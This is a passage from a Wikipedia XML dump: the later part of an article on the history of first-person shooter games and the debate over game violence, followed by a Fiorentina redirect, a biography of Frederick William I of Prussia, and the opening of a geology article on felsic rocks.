''[[System Shock]]'' ([[1994]]) and ''[[System Shock 2]]'' ([[1999]]) combined an FPS-style viewpoint and controls with [[computer role-playing game|role-playing game]] and [[horror (genre)|horror]] gameplay elements. Both games received huge praise from critics and huge cult followings, but limited mainstream success.

In [[1995]] the [[LucasArts]] [[Star Wars: Dark Forces]], introduced a linear storyline with levels presented as 'missions' with certain objectives to be done, and cutscenes that advanced the plot. It was also the first Doom clone to be set in a definite background ([[Galactic Empire|Imperial]] bases, [[Star Destroyer]]s, ships, planets etc) instead of simplistic surreal mazes and 'find the exit' scenarios.

The [[1995]] game ''[[Descent (computer game)|Descent]]'' used a fully 3D polygonal graphics engine to render opponents (previous games had used [[Sprite (computer graphics)|sprites]]). It also escaped the &quot;pure vertical walls&quot; graphical restrictions of earlier games in the genre, and allowed the player six degrees of freedom of movement (up/down, left/right, forward/backward, [[Flight dynamics|pitch, roll and yaw]]).

In [[1996]] id Software released their eagerly-anticipated ''[[Quake]]'' which significantly enhanced the network gaming concept introduced by ''Doom''. Like ''Descent'', it used a 3D polygonal graphics engine to render enemies, but, again, ''Quake'''s greatest influence was felt in network-based multiplayer gaming. ''Quake'' was the first FPS game to really break out of the LAN and gain a widespread fanbase dedicated to multiplayer [[Internet]] gaming.

''Quake'' also innovated by actively encouraging user-made modifications. These &quot;[[mod (computer gaming)|mods]]&quot; contributed to its longevity and popularity with players; in some cases (such as ''[[Team Fortress]]'') they even developed a semi-independent existence.

''[[Duke Nukem 3D]]'', also released in [[1996]], was the first game using what proved to be the most popular engine of the decade (12 released titles), [[Ken Silverman]]'s [[Build engine]]. Build was outwardly similar to Doom's engine, but the internals (and many engine features) were radically new and different. The game itself was a new take on the shooter, with main character Duke characterizing himself by way of witty, egotistical one-liners and interaction with all sorts of goofy objects, from blowing up urinals to tossing cash at strippers. Duke, and Build, are also notable for having one of the simplest map editors of any 3D game ever made.

In [[1997]], ''[[GoldenEye 007]]'' was released for the [[Nintendo 64]]. It was praised for a realistic setting, incorporating impressive [[artificial intelligence]] and animation, elaborate bullet-hit detection (permitting a player to inflict maximum damage through accurate &quot;head shots&quot;; a practice encouraged through the incorporation of a &quot;sniper scope&quot; weapon function), and mission objectives and well-designed environments based on the ''[[GoldenEye]]'' film's sets. Its [[Split screen (computer graphics)|split screen]] multiplayer [[deathmatch]] mode was also well-regarded for the range of options offered. Console first-person shooters have for many years been criticised for having control schemes less precise than the [[computer keyboard|keyboard]] and [[computer mouse|mouse]] of PC titles, yet ''GoldenEye'' overcame such complaints to be considered the first great FPS for a console, as well as one of the best movie-to-game adaptations.

Also released that year was the first Western-based shooter by [[LucasArts]]: ''[[Outlaws (game) | Outlaws]]''. The game was mostly played through the [[Microsoft Internet Gaming Zone]]. Another popular game on the &quot;Zone&quot; was another LucasArts title, ''[[Star Wars Jedi Knight: Dark Forces II]]'' a game with a [[Star Wars]] theme. ''Jedi Knight'' is distinctive from a technological standpoint because it uses a ''[[Negative-Space]]'' engine instead of the more common ''[[brush engine]]'', like Quake-derived games use. ''Jedi Knight'' is still active and is still being modded by enthusiasts today at locations like [http://www.massassi.net The Massassi Temple]. The lasting popularity of both ''Jedi Knight'' and ''GoldenEye'' is interesting considering their nature as film licences, relatively few of which are highly-regarded by gamers.

In [[1998]], the game ''[[Half-Life]]'' was released, featuring a single-player game with a notable narrative focus directing the action and the goals of the player. The tremendous success of the game encouraged the creation of many more games with a similar focus on story-based action. ''Half-Life'' also produced many successful mods, such as the hit ''[[Counter-Strike]]''. Counter-Strike continues, seven years later, to be the most popular multi-player FPS in the world; a feat of no small achievement in a market of ever-changing consumer tastes.

Also in [[1998]] ''[[Thief (computer game)|Thief, the Dark Project]]'' was released. It was considered by many critics to be one of the first FPSs to successfully implement stealth elements. Some deemed it a &quot;first-person sneaker&quot;. Another game released in the same period that contributed to expanding the genre was [[Shogo: Mobile Armor Division]] because of its heavy anime influence and strong emphasis on story and characters, although the game never made great commercial successes and is relatively unknown.

Another game of 1998, ''[[Starsiege: Tribes]]'', while not a major commercial success, was also very influential. Supporting large numbers of players, vehicles, wide-open landscapes and innovative movement mechanics provided by the jetpack all players [[spawn (gaming)|spawn]]ed with, ''Tribes'' can be considered the ancestor of many modern multiplayer-focused shooters including ''[[Battlefield 1942]]'' and contributed greatly to the creation of the [[massively multiplayer online first-person shooter|massively multiplayer FPS]] genre (including ''[[World War II Online]]'' and ''[[PlanetSide]]'').

[[1999]] was another important year for FPS, as two competing franchises were pitched head-to-head: ''[[Quake 3|Quake III Arena]]'' and ''[[Unreal Tournament]]''. Both games were widely acclaimed by game-industry critics and laid the basis for their respective franchises to continue onward: the ''[[Unreal Tournament]]'' series with ''[[Unreal Tournament 2003]]'' and later ''[[Unreal Tournament 2004]]'', and the ''[[Quake]]'' series with ''[[Quake 4]]'', released October [[2005]].
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===The 2000s===
In [[2000]], ''[[Deus Ex]]'' was released, a single-player FPS that blended elements from [[computer role-playing game|RPG]] and [[adventure game]]s. It featured many side-quests and multiple ways of completing each mission. This game also had a character building system similar to an RPG where the player gained [[experience points]] for completing various objectives, which were then spent on upgrades for your character. Additionally, it incorporated stealth elements that first appeared in ''Thief: The Dark Project''.

In [[2001]], ''[[Operation Flashpoint]]'' was released, creating a new level of realism in an FPS environment with extensive vehicles and aircraft, seamless indoor / outdoor environments, and view distances an order of magnitude longer than anything else released before it in the genre. Also, ''[[Halo: Combat Evolved]]'' was released for the [[Xbox]], a first person shooter with third-person vehicle usage. The game was acclaimed for its [[artificial intelligence]] used to control the game's enemies, and key features of its gameplay have since become genre standards. For example, the game's limited weapons inventory (two weapons at any given time), and recharging shield on top of a non-recharging health supply have been widely imitated.

In [[2002]] ''[[Battlefield 1942]]'' was released, including easily-operated vehicles, aircraft, and ships. The game featured class based infantry combat system in a World War 2 setting, and proved to be a highly popular multiplayer game (though it could still not match the popularity of Counter-Strike, which as of [[2005]], continues to dominate the genre as far as popularity). Meanwhile, in the world of consoles, ''[[Metroid Prime]]'' was released. It was a quasi-FPS with platforming and third person elements for the [[Nintendo]] [[Nintendo GameCube|GameCube]], set in a comparatively large world that focused more on exploration than combat; it also featured a unique approach to plot narration through a &quot;scan&quot; mechanic, which allowed the player to piece together the story and the game's myriad background details by examining enemies, computer screens and other objects. It utilised a lock-on based targeting system similar to that used in Nintendo's first-party title ''[[The Legend of Zelda: Ocarina of Time]]''. Due to its weighting towards exploration, many critics referred to the title as a [[first-person adventure]] game. 

In [[2004]], many sequels to older games were released, along with some newcomers:
*''[[Painkiller (game)|Painkiller]]'', ''[[Far Cry]]'': both titles featured vast and highly detailed environments, indoors and out. Also, they had sophisticated AI and physics systems rounding out the feature set.
*''[[Doom 3]]'': Made use of a new graphics engine featuring hitherto unseen real-time lighting and shadows, used exclusively to create an atmosphere of fear and danger for the player. Essentially a &quot;re-telling&quot; of the original [[Doom]] story, and in many ways a throwback to some of the techniques used in earlier FPSes, the main selling point for the game was actually its graphics engine. Using cutting-edge technologies, id Software created one of the most powerful [[game engine|graphics engines]] to date. As with previous Doom and Quake engines, it is being widely licensed to developers.
*''[[Halo 2]]'': The sequel to ''Halo: Combat Evolved'' with enhanced graphics and sound, and new game features such as hijacking vehicles, vehicle destruction, dual-wielding weapons and online multiplayer support.  ''Halo 2'' also has enhanced LAN capablities over ''Halo''; players could now connect up to 16 Xboxs and TVs instead of four. ''Halo 2'' is also one of the few console games to have an expansion pack released for it.
*''[[Half-Life 2]]'': Making extensive use of [[shader]]s, AI with squad tactics, [[Havok (software)|Havok]] [[middleware]] physics engine and relatively large maps for its level of graphic detail. The level of detail seen in the game is perhaps best exemplified by the complex character facial models developed especially for the game. The behind-the-scenes character engines can use voice recognition software, and the mouths of the models in the game will move according to what the character is saying and will express emotions when combined with script; this innovation vastly reduced the development time required to [[animate]] such complicated motions.

*''[[Metroid Prime 2: Echoes]]'': A continuation of the ''Metroid'' series, this sequel to the successful GameCube &quot;first-person adventure&quot; diverged even further from the FPS mold by placing a larger emphasis on third-person exploration.

There have been many attempts to combine the FPS genre with [[computer role-playing game|role-playing]] (RPG) or [[real-time strategy]] (RTS) games. The ''Half-Life'' [[mod (computer gaming)|mod]] ''[[Natural Selection (computer game)|Natural Selection]]'' blended a multiplayer FPS with some RTS elements. ''[[Wolfenstein: Enemy Territory]]'' blended some RPG elements with an experience and skill-based point system that can work across matches. ''[[Battlefield 2]]'' has a stats tracking similar to ''Enemy Territory'', and a complicated scoring system.

== FPS games and real-life violence ==
First-person shooters, often with graphical, brutal and interactive [[violence in video games|video game violence]], are common examples in the debate on the connection between violent video games and real-life violence or violent behaviour. 

Lt. Col. [[Dave Grossman (author)|David Grossman]], a former [[United States Military Academy|West Point]] psychology professor, has written several books that pertain to the subject of violence in the media, including ''On Killing'' and ''Stop Teaching Our Kids to Kill''. During heights of video game controversy he has been interviewed on the content of his books, and has repeatedly used the term &quot;murder simulator&quot; to describe first-person shooter games. He argues that video game publishers unethically train children in the use of weapons and, more importantly, harden them emotionally to the act of murder by simulating the killing of hundreds or thousands of opponents in a single typical video game.

Video game violence critics generally agree that violent video games are at least as bad an influence on children as are television shows with the same level of violence and cruelty, and most seem to believe that video games are more threatening to a child's well-being, because the video game player uses the controller to make an on screen character act out the violence personally. It was widely reported that the [[spree killer|spree killers]] in the [[Columbine High School massacre]] were, like many teenagers, fans of first-person shooter games. They had recorded a videotape before the massacre in which they said they looked forward to using their shotguns just as in the game ''[[Doom]]'' (the ''Doom'' levels made by one of the attackers -the most popular being one called &quot;[[Union Aerospace Corporation|UAC]] Labs&quot;- can still be found on the Internet as the [[Harris levels]]). Years later, there was much speculation in the [[United Kingdom|UK]] media that the [[Beltway sniper attacks]] were inspired by first-person shooters and games such as ''[[Grand Theft Auto (series)|Grand Theft Auto]]'' that have first-person shooter elements. There has been much debate around this within and beyond FPS and gaming circles. 

It has further been clamed that the system of rewards and punishment in violent video games like ''Doom'' systematically teaches participants to be violent. Opponents to this view hold that such games actually ''prevent'' violent behavior by providing a safe outlet for aggression. Over two hundred studies have been published which examine the effects of violence in entertainment media and which at least partially focus on violence in video games in particular. Some psychological studies have shown a [[correlation]] between children playing violent video games and suffering psychological effects, though the vast majority stop short of claiming behavioral [[Causality|causation]]. [[Craig A. Anderson]] has testified before the U.S. Senate on the issue, and his [[meta-analysis]] of these studies has shown 5 consistent effects: &quot;increased aggressive behavior, thoughts, and affect; increased physiological arousal; and decreased prosocial (helping) behavior&quot;. ([http://www.apa.org/science/psa/sb-anderson.html Violent Video Games: Myths, Facts, and Unanswered Questions]) However, some studies explicitly deny that such a connection exists, most notably Anderson and Ford (1986), Winkel et al (1987), Scott (1995), and Ballard and Lineberger (1999). Some studies have shown that children who watch violent television shows and play violent video games have a tendency to act more aggressively on the playground, and some people are concerned that this aggression may presage violent behavior when children grow to adulthood. Common themes in the continuing debate is whether people with violent dispositions prefer violent games or violence in games predispose players to violent behavioural patterns, and the role gender differences plays.

Most FPS games have a voluntary [[ESRB]] rating of ''T'' (for Teen) or ''M'' (for Mature audiences), but sale of these games to children in the [[United States|USA]] was not moderated or enforced until late in [[2003]], when it was announced that a number of major retail outlets such as [[Wal-Mart]] and [[Best Buy]], which account for a large share of video game sales, would begin restricting sales of &quot;M&quot;-rated games to people under the age of 17. There is no national law in the United States prohibiting sale of such games to children, but bills have recently been proposed that would prohibit the sale of games to customers under the ESRB rating's age. [[Video game industry]] professionals oppose such a law, citing that the ESRB is a voluntary rating and similar rated materials are not regulated, such as the [[MPAA film rating system]]'s minumum age for movie patrons.

Controversial [[First Amendment]] lawyer [[Jack Thompson]] is a vocal critic of many FPS games. Thompson has sued several developers over the content of their games, most notably [[Take Two Interactive]]. Thompson is considered to be on something of a crusade against [[Grand Theft Auto: Vice City]], and it's developers, [[Rockstar Games]].

==List of notable titles and development houses==
===Selected list of FPS developers===
This is a short list of developers of first-person shooters who have achieved both critical and popular success, selling many units, developing lucrative intellectual properties into series of titles and/or creating strong followings that transcend the core FPS gaming audience and touched the mainstream media: 

* ''[[3D Realms]]:'' 3D Realms is also notable as an old developer, having its beginnings in [[Apogee Software]], a veteran of shareware PC gaming. It has released only two FPS titles: ''[[Duke Nukem 3D]]'' (1996) and ''[[Shadow Warrior]]'' (1997).  However, both were very popular &amp;mdash; especially ''Duke Nukem 3D'', which was a smash hit (albeit a controversial one).  A sequel to ''Duke Nukem 3D'', ''[[Duke Nukem Forever]]'', has been in development for many years.
* ''[[Bungie Studios]]:'' Bungie is a developer who has trodden outside of the FPS genre on a number of occasions. Their first success in the genre comes from the critically acclaimed ''[[Marathon (computer game)|Marathon]]'' (1994), a game for the [[Apple Macintosh]], notable at the time for having a story and letting the player look up and down, among other things. Their breakthrough to the mainstream FPS world came with the [[Xbox]] flagship title ''[[Halo (computer game)|Halo]]''. And is contiuing that sucess with games like ''[[Halo (computer game)|Halo 3]]'' and ''[[Halo (computer game)|Halo 2 for Vista]]''. 
* ''[[Epic Games]] (formerly Epic MegaGames):'' Another developer from the pre-FPS days of computer gaming has not been active in the FPS market as long as some others, but with the release of the widely acclaimed ''[[Unreal]]'' (1998) (which spawned a large series of games, many of them with well supported, thriving mod communities) and with the popularity of the [[Unreal engine]] amongst developers, the company has become a major player in the scene. 
* ''[[id Software]]:'' Developers of the extremely successful ''Doom'' (1993) and ''Quake'' (1996) series, they are one of the old school of game developers that has its beginnings in pre-FPS gaming, and is considered by most gamers as the original definer and populizer of the genre. Their technology has also been used in creating many other highly successful games. The developer's involvement with mod communities is limited in comparison to others, but its games have none the less spawned some of the most well known mod types: [[capture the flag]] and ''[[Team Fortress]]'' among them.
* ''[[LucasArts]]:'' LucasArts was a phenomenally successful PC game developer in the 1990s and continues that success today, though perhaps not with the same vigour. It has developed unique franchises and exploited both the ''[[Indiana Jones]]'' and the ''[[Star Wars]]'' IPs. Two of the most successful entries to their ''Star Wars'' collection of titles are ''[[Star Wars: Dark Forces]]'' and ''[[Star Wars Jedi Knight: Dark Forces II]]'', which are recognized by critics as amongst the best ''Star Wars'' and FPS games produced to date.
* ''[[Rare (video game company)|Rare]]:'' Rareware is a recognizable name to console fans for many different titles, but their foray into first-person shooter territory is especially notable because it produced the first successful console FPS: ''[[GoldenEye 007]]'' (1997). It was also one of the most popular titles on the [[Nintendo 64]]. Their next FPS, ''[[Perfect Dark]]'' (2000), was described as a &quot;spiritual sequel&quot; to ''GoldenEye'', based around Rare's own characters and storyline rather than the [[James Bond]] licence. They have since released a second game in the franchise, ''[[Perfect Dark Zero]]'' (2005) for the [[Xbox 360]].
* ''[[Raven Software]]:'' Raven Software is generally most credited for being a pseudo sister company for id Software, since they have been collaborating together from as early as ''Doom''. Since then, Raven has gone to use all of id's game engines for their own creations, which has resulted in ''[[Heretic]]'', ''[[Star Trek: Voyager Elite Force]]'', and the controversial ''[[Soldier of Fortune (computer game)|Soldier of Fortune]]'' games. In 2002 LucasArts employed them to produce the critically acclaimed sequel to ''Jedi Knight'', ''[[Star Wars Jedi Knight II: Jedi Outcast]]'' (and later on, the spinoff ''[[Star Wars Jedi Knight: Jedi Academy]]''). Raven's latest game is currently ''[[Quake 4]]''.
* ''[[Red Storm Entertainment]]:'' The developer of the long running ''Rainbow Six'' (1998) series of [[Tom Clancy]] affiliated tactical realism first-person shooters have found great success with this franchise. 
* ''[[Valve Software]]:'' Valve's inclusion in this list rests on the immense success of their first game, ''[[Half-Life]]'' ([[1998]]). Its [[mod (computer gaming)|mod]], ''[[Counter-Strike]]'' had an effect on popular culture comparative to that of ''Doom'', in that it created yet again mass awareness for the genre in the mainstream. Additionally, it was highly supportive of the modding community: so far it had brought numerous mods into its official line, which included but was not limited to ''[[Team Fortress Classic]]'', ''[[Counter-Strike]]'', and ''[[Day of Defeat]]''. Valve has released the sequel of their game, ''[[Half-Life 2]]'', which has a publically available SDK including mapping, animation, and sound tools; as well as source for the game logic in ''Half-Life 2''.

==Selected important games in FPS development==
A chronoglogical listing attempting at listing the more &quot;ground-breaking&quot; or &quot;influential&quot; games from this [[genre]], mainly the more popular or well known examples:

:''[[Maze War]]'' ([[1973]])
:''[[Battlezone]]'' ([[1980]])
:''[[3D Monster Maze]]'' ([[1981]]) &amp;mdash; the first 3D game for a home computer, requiring the player to navigate a 3D maze in the first person avoiding a lurking dinosaur.
:''[[Ultima Underworld]]'' ([[1992]]) &amp;mdash; An &amp;ldquo;unsung hero&amp;rdquo; of the FPS genre, and perhaps the first game to belong to it properly. The player character could defeat enemies with projectile weapons (bows, crossbows) or with melee weapons (swords, cudgels, etc.). Technologies such as walls of varying heights, non-perpendicular walls, inclined surfaces, and swimming were ahead of their time. A moderate commercial success, it was soon overshadowed by subsequent titles that nonetheless used inferior technology.
:''[[Wolfenstein 3D]]'' ([[1992]]) &amp;mdash; The first resounding commercial success of the FPS genre. Also a turning point in the history of [[shareware]]. Although limited to perpendicular walls and floors and monochrome ceilings and floors, the game became very popular as many players&amp;rsquo; first encounters with the first-person perspective in a computer game.
:''[[Pathways Into Darkness]]'' ([[1993]]) &amp;mdash; Arguably the earliest first-person shooter for the [[Apple Macintosh]], mixes RPG and adventure elements with action. Also noteworthy for being the &quot;spiritual prequel&quot; to ''Marathon'' and ''Halo''. 
:''[[Doom]]'' ([[1993]]) &amp;mdash; This game was as influential in the future of the FPS genre as any game has ever been. Much closer to a true 3D experience than Wolf 3D (but still perhaps less so than [[Ultima Underworld]]), it added walls of varying heights and new lighting effects. Much of the controversy over video-game violence was attributed to this title.
:''[[Descent (computer game)|Descent]]'' ([[1994]]) &amp;mdash; Some consider this game to the first true 3D FPS. This game was unique among FPSs at the time when most FPSs were considered Doom-clones. The player flew into robot infested mines in a hovercraft with a full six degrees of freedom of movement. Enemies were represented by true 3D polygon meshes, which Quake would later use, and the representation of the world geometry removed most of the 2.5D limitations that Doom had.
:''[[Marathon (computer game)|Marathon]]'' ([[1994]]) &amp;mdash; The first in a trilogy - possibly the most popular series among veteran Mac users; notable for its extremely complex storyline.
:''[[Star Wars: Dark Forces]]'' ([[1995]]) &amp;mdash; This game, based on the [[Star Wars]] franchise, was [[LucasArts]]'s attempt to corner the FPS market. Through its particular variety of gameplay additions, rather than its use of a popular franchise, ''Dark Forces'' sticks out as a remarkably playable example of an early FPS. While less noted than other titles, it is arguably as influential in the genre.
:''[[Duke Nukem 3D]]'' ([[1996]]) &amp;mdash; This early FPS is better remembered by more fans of the genre than even Doom. Serious fans generally accept ''Doom'' as more important, but Duke was more widely publicised in its time and so has a greater mass appeal.
:''[[Quake]]'' ([[1996]]) &amp;mdash; The first true 3D &quot;standard&quot; FPS (Descent being the notable exception), it started the move to true 3D in the FPS genre. It also started the big wave of popularity of online multiplayer games by allowing multiplayer games to take place over the internet.
:''[[GoldenEye 007]]'' ([[1997]]) &amp;mdash; The first successfully implemented FPS on a console, ''GoldenEye'' was acclaimed for a strong, realistic single-player mode and a highly popular multiplayer section.
:''[[Unreal]]'' ([[1998]]) &amp;mdash; One of the first FPS games to take place in large, open terrain, and a technological and visual breakthrough at the time.
:''[[Starsiege: Tribes]]'' ([[1998]]) &amp;mdash; The first FPS to seamlessly integrate first person shooting with vehicles driven from a third person perspective.
:''[[Half-Life]]'' ([[1998]]) &amp;mdash; Used a lot of scripted events to tell its story and set the mood; the level of artistry inherent to both the story and gameplay raised the standards of the FPS industry to new heights.
:''[[Soldier of Fortune (computer game)|Soldier of Fortune]]'' ([[1999]]) &amp;mdash; Using a highly modified ''Quake 2'' engine, ''Soldier of Fortune'' added location-based damage, as well as other less important advances.
:''[[Thief (computer game)|Thief]]'' ([[1998]]) &amp;mdash; The first first-person &quot;sneaker&quot;.
:''[[Tom Clancy's Rainbow Six|Rainbow Six]]'' ([[1998]]) &amp;mdash; The first realistic, squad-based FPS to gain a wide following and acclaim. Numerous sequels have been made. The first FPS game to fall into the &quot;simulation&quot; category.
:''[[System Shock#System Shock 2|System Shock 2]]'' ([[1999]]) &amp;mdash; This was one of the first games to successfully implement an interesting story and RPG elements into the gameplay.
:''[[Counter-Strike]]'' ([[1999]]) &amp;mdash; Still the most popular FPS &quot;game&quot;, Counter-Strike is a Half-Life MOD that quickly won popular acclaim and helped redefine the multiplayer genre.
:''[[Deus Ex]]'' ([[2000]]) &amp;mdash; An RPG-FPS hybrid and a massive success that many critics cited as an example of &quot;video games as art&quot;.
:''[[Halo: Combat Evolved]]'' ([[2001]]) &amp;mdash; The first successful FPS on a console since ''GoldenEye'', ''Halo'' also featured an expanded role for vehicles in game and cinematic elements which appealed to a wide audience. 
:''[[Battlefield 1942]]'' ([[2002]]) &amp;mdash; The most successful large scale, vehicle-based FPS in the vein of ''Tribes'', ''BF1942'' has popularized an expanding genre of massive-scale online FPS games.
:''[[Metroid Prime]]'' ([[2002]]) &amp;mdash; Classic Metroid gameplay merged with an FPS. It abandoned ammo restrictions for the main weapons, presented platforming in first-person with unprecedented success, featured a unique &quot;scan&quot; based narrative, and made a clever marraige of first-person and third-person gameplay through the use of the classic Metroid &quot;morph-ball&quot;, thus pioneering numerous avenues of FPS gameplay innovation.
:''[[Star Wars: Jedi Knight II: Jedi Outcast]]'' ([[2002]]) &amp;mdash; Saber dueling was very well implemented with advanced melee fighting.
:''[[Doom 3]]'' ([[2004]]) &amp;mdash; The first game to calculate all lighting in real-time and to use an unified lighting system (with no lightmaps).
:''[[Halo 2]]'' ([[2004]]) &amp;mdash; Direct sequel to Halo: Combat Evolved. Most noteable for its online multiplayer in which it attracted over a million subscribers to the Xbox Live service. It has brought attention to online console gaminig in which it can be taken as seriously as online PC gaming. 
:''[[Half-Life 2]]'' ([[2004]]) &amp;mdash; Direct sequel to Half-Life. The game continued the narrative techniques of the first title, but the implementation of the physics engine was particularly noteworthy. This can be considered the first FPS game to make extended use of physics puzzles.

{{seealso|List of first-person shooters}}

For a comprehensive list of the genre, see the '''[[list of computer and video games by genre#First-person shooters|list of computer and video games by genre]]'''.

==See also==
* [[List of computer and video games]]
* 
* [[List of firearms in first-person shooters]]
* [[First person shooter graphics engines]]
* [[Massively multiplayer online first-person shooter|MMOFPS]]
* [[List of free first-person shooters]]
* [[First-person narrative]]

==External links==
* [http://www.mobygames.com/browse/games/l,7/c,1/?o=2a14 MobyGames' collection of FPS documentation and reviews]
* [http://www.oldmanmurray.com/features/39.html Old Man Murray's Crate Review System spoof]
{{VideoGameGenre}}


[[Category:First-person shooters|List of first-person shooters]]
[[Category:First-person shooters| ]]
[[Category:Computer and video game genres]]
[[Category:Man to Man wargames]]

[[de:Ego-Shooter]]
[[es:Acción en primera persona]]
[[fr:Jeu de tir subjectif]]
[[ko:1인칭 슈팅 게임]]
[[it:Sparatutto in prima persona]]
[[nl:First person shooter]]
[[ja:ファーストパーソン・シューティングゲーム]]
[[pl:First person shooter]]
[[pt:Tiro em primeira pessoa]]
[[ru:Шутер от первого лица]]
[[simple:First-person shooter]]
[[fi:FPS-peli]]
[[sv:First person shooter]]
[[zh:第一人称射击游戏]]</text>
    </revision>
  </page>
  <page>
    <title>Fiorentina</title>
    <id>11792</id>
    <revision>
      <id>15909514</id>
      <timestamp>2004-06-20T18:26:10Z</timestamp>
      <contributor>
        <username>Dale Arnett</username>
        <id>25667</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[ACF Fiorentina]]</text>
    </revision>
  </page>
  <page>
    <title>Frederick William I of Prussia</title>
    <id>11794</id>
    <revision>
      <id>38372797</id>
      <timestamp>2006-02-05T22:29:05Z</timestamp>
      <contributor>
        <username>Snek01</username>
        <id>306659</id>
      </contributor>
      <minor />
      <comment>:cs</comment>
      <text xml:space="preserve">{{House of Hohenzollern-Prussia}}
'''Frederick William I of Prussia''' (in [[German language|German]]: '''Friedrich Wilhelm I'''), of the House of [[Hohenzollern]], ([[August 14]], [[1688]] &amp;ndash; [[May 31]], [[1740]]), often known as 'the Soldier-King' reigned as [[King in Prussia]] (1713 - 1740).

His father, [[Friedrich I of Prussia| Frederick I of Prussia]], had successfully acquired the title '''King''' for the [[margrave]]s of [[Brandenburg]].  Frederick William's contributions to the state of Prussia primarily consisted of civil service reforms, developing the (well-deserved) international reputation of the Prussian military, and increasing the overall efficiency and discipline of his military, which in turn placed Prussia as an entity on a par with France, Britain, and other politically dominant states in Europe during the 18th century.  

During his reign, Frederick William I did much to centralize and improve Prussia. He replaced mandatory military service among the middle class with an annual tax, established primary schools, and resettled East Prussia (which had been devastated by the [[Black Death|plague]] in 1709). 

[[Image:Frederick William I the Soldier-King.jpg|left]]

Frederick William was an extremely able administrator. He opposed all superfluous spending, so long as it did not concern his army. Frederick William paid the consumer tax he himself had imposed, and no candles were left burning at court. He lived frugally and worked hard and tirelessly for the welfare of his people. He encouraged farming, reclaimed marshes, stored grain in good times and sold it in bad times. He dictated the manual of Regulations for State Officials, containing 35 chapters and 297 paragraphs in which every public servant in Prussia could find his duties precisely set out. A minister or councillor failing to attend a committee meeting would lose six months' pay. If he absented himself a second time, he would be discharged from the Royal service.

In short, Frederick William was extremely concerned by every little aspect of his country so that it suited the needs of his army. His rule was absolutist and he was a firm autocrat. He practiced rigid economy, and at his death there was a large surplus in the treasury. The Prussian army was made an efficient instrument of war. Although Frederick William built up one of the most powerful armies in Europe and loved military pomp, he was essentially a peaceful man. He intervened briefly in the [[Great Northern War]], but gained little territory.

Though he was peaceful, he was by no means gentle. His eldest surviving son was [[Friedrich II of Prussia|Fritz]], born in [[1712]]. Frederick William wanted him to become a fine soldier. As a little child Fritz was awakened each morning by the firing of a cannon. At the age of 6 he was given his own regiment of children to drill as cadets and a year later he was given a miniature arsenal. Fritz was beaten for being thrown off a bolting horse and for wearing gloves in cold weather.  Frederick William would frequently mistreat Fritz (he preferred his younger sibling August William), executing one of his closest friends, [[Hans Hermann von Katte]], and almost disinheriting him.

He acquired a reputation for his fondness for military display - leading to his special efforts to hire the tallest men he could find in all of [[Europe]] for a special regiment nicknamed [[Potsdam Giants]].

Frederick William and his wife [[Sophia Dorothea of Hanover]] (his first cousin and the daughter of King [[George I of Great Britain]]) had eight surviving children:

* [[Wilhelmine of Bayreuth]] (1709 - 1758)
* [[Friedrich II of Prussia]] (1712-1786)
* Friederike Luise (1714-1784)
* Philippine Charlotte (1716-1801), married [[Charles I, Duke of Brunswick-Lüneburg]]
* Sophie Dorothee Marie (1719-1765)
* [[Luise Ulrike of Sweden]] (1720-1782)
* [[Augustus William, Prince of Prussia]] (1722-1758)
* [[Anna Amalia Princess of Prussia]] (1723-1787)
* [[Prinz Heinrich]] (1726-1802)
* August Ferdinand (1730-1813)



==External links==
* [http://www.xs4all.nl/~kvenjb/madmonarchs/fredwil1/fredwil1_bio.htm Biography of Frederick William I]


{{start box}}
{{succession box|title=[[List of Kings of Prussia|King of Prussia]]|before=[[Frederick I of Prussia|Frederick I]]|after=[[Frederick II of Prussia|Frederick II]]|years=[[1713]]&amp;ndash;[[1740]]}}
{{end box}}

[[Category:1688 births|Frederick William I of Prussia]]
[[Category:1740 deaths|Frederick William I of Prussia]]
[[Category:Kings of Prussia]]
[[Category:House of Hohenzollern]]

[[bg:Фридрих Вилхелм I]]
[[cs:Fridrich Vilém I.]]
[[da:Frederik Vilhelm 1. af Preussen]]
[[de:Friedrich Wilhelm I. (Preußen)]]
[[es:Federico Guillermo I de Prusia]]
[[fr:Frédéric-Guillaume Ier de Prusse]]
[[it:Federico Guglielmo I di Prussia]]
[[lt:Frydrichas Vilhelmas I]]
[[nl:Frederik Willem I van Pruisen]]
[[ja:フリードリヒ・ヴィルヘルム1世 (プロイセン王)]]
[[no:Fredrik Vilhelm I av Preussen]]
[[pl:Fryderyk Wilhelm I Hohenzollern]]
[[pt:Frederico Guilherme I da Prússia]]
[[sv:Fredrik Vilhelm I av Preussen]]
[[uk:Фрідріх Вільгельм I]]
[[zh:腓特烈·威廉一世]]</text>
    </revision>
  </page>
  <page>
    <title>Felsic</title>
    <id>11795</id>
    <revision>
      <id>38575897</id>
      <timestamp>2006-02-07T05:17:39Z</timestamp>
      <contributor>
        <username>Rolinator</username>
        <id>685714</id>
      </contributor>
      <text xml:space="preserve">'''Felsic''' is a term used in [[geology]] to refer to [[silicate minerals]], [[magma|magmas]], and [[rock (geology)|rocks]] which are enriched in the lighter elements such as [[silica]], [[oxygen]], [[aluminium]], [[sodium]], and [[potassium]]. The term combines the words &quot;[[feldspar]]&quot; and &quot;[[silica]].&quot;  Felsic minerals are usually light in color and have [[specific gravity|specific gravities]] less than 3.  Common felsic minerals include [[quartz]], [[biotite]], [[muscovite]], [[hornblende]], [[orthoclase]], and the sodium rich [[plagioclase]] [[feldspar|feldspars]]. The most common felsic rock is [[granite]]. On the opposite side of rock spectrum are the [[iron]] and [[magnesium]] rich ''[[mafic]]'' and ''[[ultramafic]]'' minerals and rocks.

The term ''acid rock'', although sometimes used as a synonym, in current usage refers to a high silica content (greater than 63% SiO&lt;sub&gt;2&lt;/sub&gt; by weight) [[volcanic rock]] such as rhyolite. The term was used more broadly in older geologic literature. It is considered archaic as the terms ''acidic'' and ''basic rock'' were based on an incorrect idea dating from the 1800's that [[silicic acid]] was the chief form of silicon occuring in rocks.



==Classification of felsic rocks==
In order for a felsic rock to be classified as such it generally needs to contain &gt;75% felsic minerals; namely quartz, orthoclase and plagioclase. Rocks wih greater than 90% felsic minerals can also be called ''leucocratic'', meaning 'light-coloured'. 

''[[Felsite]]''' is a [[petrology|petrologic]] field term used to refer to very fine grained or [[aphanitic]], light colored [[volcanic]] rocks that may be later reclassified after a more detailed microscopic or chemical analysis. 

In some cases, felsic volcanic rocks may contain [[phenocryst]]s of [[mafic]] minerals, usually [[hornblende]] or [[biotite]], or a feldspar mineral, and may need to be named after their phenocryst mineral, such as 'hornblende-bearing felsite'. 

